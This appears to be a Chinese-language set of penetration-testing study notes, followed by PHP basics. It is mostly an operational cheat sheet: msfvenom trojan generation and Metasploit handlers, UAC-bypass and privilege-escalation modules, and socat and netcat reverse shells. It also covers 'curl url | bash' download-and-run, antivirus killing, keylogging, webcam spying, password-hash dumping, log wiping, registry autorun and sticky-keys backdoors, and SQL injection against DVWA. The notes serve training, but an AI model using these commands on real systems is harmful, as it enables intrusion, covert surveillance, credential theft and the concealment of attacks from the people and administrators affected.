meterpreter与提权

远程下载文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
linux:
wget URL
curl URL -o output_file_name
无文件传输:
wget -qO - url | bash
curl url | bash

windows:
vbs:
set post = CreateObject("Msxml2.XMLHTTP")
set shell = CreateObject("Wscript.Shell")
Post.open "GET","http://server_ip/fileName(要下载的文件)",0
Post.send()
set aGET = CreateObject("ADODB.Stream")
aGET.Mode = 3
aGET.Type = 1
aGET.Open()
aGET.Write(Post.responseBody)
aGet.SaveToFile "路径+要保存的名字 (c:\xx.exe)",2
执行: cscript xxx.vbs

powershell:
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('URL/文件名','要保存的路径/文件名')


提权

后渗透模块:POST

漏洞探测:

​ 应用漏洞{版本漏洞,应用本身的缺陷….}

​ 服务漏洞{基于端口、基于系统服务…}

​ 系统内核漏洞{提权,cve-2018-8120}

后渗透模块:

show post 查看post模块

​ run windows/manage/killav 关闭杀软

​ windows/manage/enable_rdp 开放3389,(需要特权)

​ ….

提权:

​ uac提权: user account control 用户账户控制

​ exploit/windows/local/ask

​ 参数:name,session

​ bypassuac:

​ exploit/windows/local/bypassuac_eventvwr

​ exploit/windows/local/bypassuac_comhijack

​ exploit/windows/local/bypassuac_injection

​ exploit/windows/local/bypassuac_windows_store_filesys

​ 本地提权漏洞:

​ cve-2018-8120:exploit/windows/local/ms18_8120_win32k_privesc

MSF--meterpreter

碰到powershell无法执行脚本的情况:

执行脚本权限(策略)

  • Restricted 受限制

  • allsigned 已分配

  • Unrestricted 不受限制

  • remotesigned 远程分配

  • 查看执行策略

    • Get-ExecutionPolicy
  • 修改执行策略(需要管理员)

    • Set-ExecutionPolicy unrestricted

    绕过执行策略:powershell -exec bypass -c comannd

    创建文件:copy con filename

    con:进入到编辑模式

    修改属性:attrib

    使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。attrib +s +a +h +r D:\test\project\test .txt。这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

    创建文件:fsutil file createnew filename size

meterpreter

两种session:

​ Command shell session –> 就是cmd

​ meterpreter session –> 返回meterpreter

指令:

​ jobs 查看工作

​ jobs -k id 杀死只当的工作,-k kill

​ jobs -K 杀死所有的工作

​ session 查看连接到的会话

​ session -k id 杀死指定的session

​ session -K 杀死所有的session

​ run -j 放到后台监听

​ run -z 连接到了不会立马进入到交互模式

meterpreter:

​ getuid 查看当前用户

​ sysinfo 查看当前系统的基本信息

​ getpid 获取当前木马的pid

​ getsid 获取sid

​ getsystem 获取管理员权限(初步提权,成功说明提权成功)

​ bg | background 返回控制台

​ exit 退出当前session(关闭)

会话迁移: payload注入到新的进程当中,确保连接的稳定性

migrate pid 会话迁移

hashdump 下载sam文件中的账号密码信息

play 播放.wav的文件

Webcam Commands:

webcam_stream 查看摄像头(相当于监控)

webcam_list 列出有多少个摄像头

webcam_snap 对摄像头做截屏

User interface Commands:

keyscan_dump 下载键盘记录

keyscan_start 开启键盘监听

keyscan_stop 停止键盘监听

screenshare 看对方的电脑桌面(实时的,有延迟),以html文件的方式

run vnc 看对方的电脑桌面(实时的,有延迟),以弹框的方式

screenshot 屏幕截图

uictl [enable/disable] [keyboard/mouse/all] 对键盘鼠标进行控制(禁用或者开启)

clearev 清除痕迹(系统日志,安全日志,应用日志)(前提有特权,才能清除的干净)

steal_token 身份盗用

rev2self 返还身份

shutdown 关机

shell 进入到cmd或者进入到bash

kill pid 杀死进程

execute -i -H -f cmd 执行指令

upload local_file remote_path 上传文件

download remote_file local_path\save_filename 下载文件

show_mount 磁盘信息

Core Commands:

background | bg 返回控制台

get_timeouts 获取session超时时间

linux:.elf,.sh

linux执行文件:

./ —> 有可执行的权限,chmod u+x file —> ./file

bash file

windows:bat,exe,hta

MSF基础

基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
warnning:
msf数据库未开会显示警报,但是不影响使用,有需求可以开

systemctl enable postgresql 设置postgresql开机自启
systemctl disable postgresql 禁止开机自启

systemctl:
enable 设置开机自启
disable 禁止开机自启
start 运行服务
stop 停止服务
status 查看运行状态
restart 重启服务
service:
service service_name 指令
start
stop
stauts
restart

!!!:指令可以用tab补全

msfconsole 控制台

msfvenom 木马生成平台

exp: 攻击脚本

poc: 验证脚本

信息搜集 –> 漏洞探测 –> 漏洞利用 –> 提权 –> 横向渗透 –> 植入后门 –> 痕迹清除

​ [ metasploit v6.0.16-dev ]

  • – –=[ 2073 exploits - 1124 auxiliary - 352 post ]
  • – –=[ 596 payloads - 45 encoders - 10 nops ]
  • – –=[ 7 evasion ]

exploits: 漏洞利用脚本

payloads: 攻击载荷

auxiliary: 辅助模块

post: 后渗透模块

encoders: 编码模块

nops: 空模块

evasion: 逃避模块

第一次运行msf需要初始化数据库,因为用到db_nmap需要用到数据库

msfdb init 初始化数据库

msfdb start 开启数据库

连接数据库:

  1. db_connect -y /usr/share/metasploit-framework/config/database.yml

  2. db_connect user:password@127.0.0.1/database_name

基础指令:
msfconsole:

msf是用ruby语言写的,脚本后缀为.rc文件

help 查看帮助信息

exit 退出当前的控制台

load 加载.rc的脚本

sessions 查看当前收到的会话

sessions -i id 进入会话

sessions -k id 杀死指定会话

sessions -K 杀死所有的会话

bg | background 返回控制台

set 设置参数

setg 设置全局参数

unload 卸载脚本

unset 卸载参数

unsetg 卸载全局参数

info 显示模块的信息

options 显示参数的信息

search 搜索脚本

show 显示模块及参数信息

use 使用模块

run 运行辅助模块,跟exploit没有区别都可以用

exploit 运行攻击脚本

exploit | run -j 后台监听

run -z 持久化监听

run -j -z 后台持久监听

back 返回上一级

jobs 操作相关的工作

jobs -k id 删除指定任务

jobs -K 删除所有的任务

kill 杀死会话

msfvenom:

-l,–list 列出相关的模块信息

-p,–payloads 指定payload

-e 指定编码模块

-f 指定输出格式

-a 指定架构(x86,x64)

-o 指定输出的文件

-b bad Characters,坏字符,可以规避一些字符

-n 设置空模块

-i 指定编码次数

-x 指定模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
基操:
常用payload:
windows/x64/meterpreter/reverse_tcp windows/x64/meterpreter/reverse_tcp_rc4 windows/x64/meterpreter/bind_tc windows/x64/meterpreter/bind_tcp_rc4 windows/x64/meterpreter/reverse_https windows/x64/meterpreter/reverse_http

生成木马:
-p指定的payload要与msfconsole指定的payload一致,不然无法监听到木马的反弹
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.135 lport=4444 -f exe -o shell.exe

建立监听器:
LHOST:设置本地监听的IP
LPORT:设置本地监听的端口
RHOSTS:设置远程IP

stage: 传输器 --> 存放paylaod的一个容器
stager: 传输体 --> 用来传输stage的一个通道

use exploit/multi/handler 设置渗透模块
set payload windows/x64/meterpreter/reverse_tcp 设置有效载荷
set LHOST IP 设置本地接收ip
set LPORT port 设置本地接收端口
exploit | run 运行模块开始监听

木马下放:
1. servic apache2 start
apache是web服务的一个中间件
默认路径: /var/www/html
访问方式: http://IP
注意事项: 可能会碰到默认页面,删除掉/var/www/html下的index.html文件即可
2. python2
用编程语言开放的服务器,服务器路径的话就是在当前目录下开放服务
python -m SimpleHTTPServer port
3. python3
python3 -m http.server port

linux的快捷键

1
2
3
4
5
6
7
ctrl+u    删除光标之前的内容
ctrl+k 删除光标之后的内容
ctrl+d 删除当前光标所在的内容
ctrl+h 向前删除一个内容
ctrl+a 跳到开头
ctrl+e 跳到最后
ctrl+r 搜索历史操作的指令,回车执行

Socat使用

建立监听器

socat -d -d tcp4-listen:port stdout --> nc -lvvp

建立连接

socat - tcp4:ip:port --> nc ip port

文件传输

接收:

socat tcp4:ip:port file:filename,create

传输:

socat tcp4-listen:4444,fork file:filename

fork创建子进程,可以建立多个连接

可以双向传输

反弹shell

反向:

socat -d -d tcp4-listen:4444 stdout 建立监听

socat tcp4:192.168.1.135:4444 exec:/bin/bash 反弹shell

正向:

加密传输

生成公钥和私钥

openssl req -newkey rsa:2048 -nodes -keyout bind.key -x509 -days 365 -out bind.crt

把公钥和私钥转化为socat传输的格式

cat bind.key bind.crt > bind.pem

建立监听,并反弹shell

socat openssl-listen:port,verify=0,cert=xxx.pem,fork exec:/bin/bash

建立连接

socat - openssl:ip:port,verify=0

!!!:verify=0 --> 禁用ssl

信息搜集

信息搜集

nmap

1-存活主机

2-端口扫描

3-防火墙侦测

4-漏洞扫描

5-操作系统

banner:指的是指纹(版本信息、服务器(中间件)信息、开发商信息…)

nmap扫描结果的三种状态:

open(开放)

closed(关闭)

filtered(不确定是否开放)

常用操作指令

基本用法:nmap IP

-Pn:跳过主机存活判断,默认判断存活(推荐)

-sS:SYN扫描(隐匿)

-sV:探测打开的端口以确定服务/版本

-sSV= -sS -sV

-O: 操作系统的判断

-T: 扫描速度的设置(推荐T4)

-p: 指定端口扫描,-p 端口号 | -p- 全端口扫描 | -p0-65535|-p100-1000 | -p 80,445,3389

–script=脚本名

–script=模糊测试的脚本简写的名称

-sC:相当于–script=defaults

-oN: 标准输出

​ 例如:-oN 1.txt

NC(netcat)

常用参数:

-c | -e: 执行命令或者程序,常用于反弹shell

-l:开启监听

-p:设定端口

-z:零输入输出,常用于端口开放检测,(连上立即断开)

-v -vv:详细信息|更详细的信息

-n:仅显示数字的ip地址,不显示DNS信息

创建监听:

nc -lp 指定端口号 监听端口

nc -lvvp 指定端口号 监听端口并显示详细的信息

nc -lnvp 指定端口号 监听端口并显示详细的信息

连接:

nc ip port

端口扫描:

nc -vz IP 端口号[单个端口,端口列表(80-1024)]

反弹shell:

在linux中:

# –> 特权用户(比如说 root)

$ –> 普通用户

linux中默认的编码格式:utf8 占两个字符

windows中默认的编码格式:gbk 占三个字符

windows命令行切换utf8:chcp 65001

windows命令行切换gbk:chcp 936

lsof -i:port 查看指定端口开放情况

netstat -lutpn 查看端口开放情况

正向连接:指服务器主动反弹shell

​ 以linux反弹shell为例:

​ 服务端开启监听

​ nc -lvvp port -e /bin/bash

​ 客户端连接

​ nc -v ip port

反向连接:指客户端主动反弹shell

​ 以windows反弹shell为例:

​ 服务端开启监听

​ nc -lvvp 4444

​ 客户端反弹shell

​ nc ip port -e “c:\windows\system32\cmd.exe”

​ linux会话提升:python -c “import pty;pty.spawn(‘/bin/bash’)”

python -c “import pty;pty.spawn(‘/bin/bash’)”
id

​ 用户id=0(root) 组id=0(root) 组=0(root)

文件传输

​ 正向传输:

​ 传输

​ -q 1 :传输完立马断开,不加就一直卡住

​ nc -lvvp port < 1.txt -q 1

​ 接收

​ nc ip port > 2.txt

​ 反向传输:

​ 传输

​ nc ip port < 1.txt -q 1

​ 接收

​ nc -lvvp port > 2.txt

注册表自启动和粘滞键后门

注册表:

​ 数据类型:

1
2
3
4
REG_SZ:字符串:文本字符串
REG_MULTI_SZ:多字符串值:含有多个文本值的字符串
REG_BINARY:二进制数:二进制值,以十六进制显示,
REG_DWORD:双字值;一个32位的二进制值,显示为8位的十六进制值

​ 创建注册表: regedit

自启动路径:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN

1
2
3
4
5
6
7
8
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v hh /d "calc.exe" /f
reg add keyname ... 创建注册表
/v 注册表取名
/d 要执行的命令或者程序
/f 强制覆盖

用户克隆
注册表中sam文件下的administrator账户对应的目录文件中的F值覆盖掉普通用户对应目录的F值,权限会被继承

自启动文件夹:win + R –> shell:startup

​ C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

服务配置:win + R –>msconfig

UAC:user account control(用户账户控制)

​ 最底下:默认以管理员权限运行

粘滞键后门:

​ 原理:通过覆盖sethc.exe文件运行cmd

1
2
3
4
5
6
7
1. takeown /F c:\windwos\system32\* /A /R

2.cacls c:\windwos\system32\\* /T /E /G administrators:F

3.copy cmd.exe sethc.exe

4.连续按5次shift键呼出cmd

基础命令

net user 查看用户

net user 用户名 密码 更改密码

net user 用户名 密码 /add 创建用户

net user 用户名 /active:yes 激活用户

ipconfig 查看网络配置

ipconfig /all

ipconfig /release 释放当前IP

ipconfig /renew 重新获取IP

ipconfig /flushdns 清除DNS缓存

net localgroup 查看本地用户组

net localgroup 组名 查看组下的成员信息

netsh wlan show profiles wifi名 key=clear 查看wifi密码

net start 查看运行的服务

tasklist 查看进程列表

taskkill 操作进程

​ /IM 利用程序名杀死进程

​ /PID 利用进程ID杀死进程

​ /F 强制杀死进程

​ /T 同时杀死子进程

netstat -ano 查看端口开放信息

管道符:|

重定向符:>(重定向输入输出)、>>(追加)

echo ‘’> 文件名 生成文件

type 文件名 查看文件内容

systeminfo 查看操作系统的基本配置

findstr 匹配字符串

at 时间点 命令 计划任务

chdir 列出当前路径

windows不区分大小写,linux严格遵循大小写

whoami 看当前用户

whoami /user 看用户的sid

​ 500:代表管理员

​ 1000+:普通用户

常用端口:3306 – mysql数据库–>php

​ 445 – smb服务

​ 80 – http(明文传输)

​ 443 – https(加密传输)

​ 21 – ftp

​ 22 – ssh(加密传输)

​ 23 – telnet (明文传输)

​ 3389 – RDP(远程桌面协议)

SQLlow等级手工注入

1.登录DVWA,设置安全等级为LOW
2.输入1’order by 2#,有数据内容出现,输入1’order by 3#,没有数据内容显示,说明数据列只有2列
3.输入1’union select database(),user()#,查询数据库的名字,用户名
4.输入1’union select version(),@@version_compile_os#’,获取数据库版本和当前操作系统
5.输入1’union select table_name,table_schema from information_schema.tables where table_schema= ’dvwa’#,获取数据表的名称,注意’dvwa’前面有空格
6.输入1’union select user,password from users#,尝试获得用户名和密码
7.密码采用md5进行加密,到www.cmd5.com进行解密

SQLlow等级工具注入

SQLMAP利用方式:
1.先去拿取这个网站的数据库
python sqlmap.py -u “http://127.0.0.1/sqls/?id=2" –current -db –得到当前数据库:sqltext
2.再拿取这个网站数据库的数据表
python sqlmap.py -u “http://127.0.0.1/sqls/?id=2" -D sqltext –tables –得到当前数据库中的数据表:admin、sqltext
3.然后再获取这张数据表中的数据列
python sqlmap.py -u “http://127.0.0.1/sqls/?id=2" -D sqltext -T admin –columns –得到当前数据库中的数据表中的数据列:id、user、pwd
4.最后得到相应的数据
python sqlmap.py -u “http://127.0.0.1/sqls/?id=2" -D sqltext -T admin -C uesr,pwd –dump

PHP学习笔记

PHP是超级文本预处理语言

格式:

PHP基本语法:
1.PHP脚本以结束;
2.PHP文件默认文件扩展名是”.php”;
3.用分号来分割语句;
4.变量以$符号开始,后跟变量名称;
5.php中的注释:
a.单行注释://、#
b.多行注释:/* */

PHP echo和print语句

echo和print区别:
echo可以输出一个或多个字符串
print只允许输出一个字符串,返回值总为1
提示:echo输出速度比print快,echo没有返回值,print有返回值

PHP EOF

1.必须后接分号,否则编译通不过。
2.EOF 可以用任意其它字符代替,只需保证结束标识与开始标识一致。
3.结束标识必须顶格独自占一行(即必须从行首开始,前后不能衔接任何空白和字符)。
4.开始标识可以不带引号或带单双引号,不带引号与带双引号效果一致,解释内嵌的变量和转义符号,带单引号则不解释内嵌的变量和转义符号。
5.当内容需要内嵌引号(单引号或双引号)时,不需要加转义符,本身对单双引号转义,此处相当与q和qq的用法。
提示:以<<<EOF开始标记开始,以EOF结束标记结束,结束标记必须顶头写,且在结束标记末尾要有分号。

PHP数据类型

String(字符串), Integer(整型), Float(浮点型), Boolean(布尔型), Array(数组), Object(对象), NULL(空值)。
var_dump():判断一个变量的类型与长度,并输出变量的数值

PHP类型比较

松散比较:使用两个等号 == 比较,只比较值,不比较类型。
严格比较:用三个等号 === 比较,除了比较值,也比较类型。

PHP常量

常量是一个简单值的标识符。该值在脚本中不能改变。
一个常量由英文字母、下划线、和数字组成,但数字不能作为首字母出现。 (常量名不需要加 $ 修饰符)。
注意: 常量在整个脚本中都可以使用。

设置常量,使用 define() 函数,函数语法如下:
bool define ( string $name , mixed $value [, bool $case_insensitive = false ] )
该函数有三个参数:
name:必选参数,常量名称,即标志符。
value:必选参数,常量的值。
case_insensitive :可选参数,如果设置为 TRUE,该常量则大小写不敏感。默认是大小写敏感的。

PHP字符串

PHP并置运算符(.)
strlen() 函数返回字符串的长度(字节数)。
strpos() 函数用于在字符串内查找一个字符或一段指定的文本。

PHP运算符

算术运算符,赋值运算符,递增/递减运算符,比较运算符,逻辑运算符,数组运算符,三元运算符

组合比较符(PHP7+),也被称之为太空船操作符,符号为<=>
格式:
$c = $a <=> $b;
解析:
如果 $a > $b, 则 $c 的值为 1。
如果 $a == $b, 则 $c 的值为 0。
如果 $a < $b, 则 $c 的值为 -1。

优先级:
&& > = > and
|| > = > or

PHP If…Else

if 语句 - 在条件成立时执行代码
if…else 语句 - 在条件成立时执行一块代码,条件不成立时执行另一块代码
if…elseif….else 语句 - 在若干条件之一成立时执行一个代码块

PHP Switch

语法: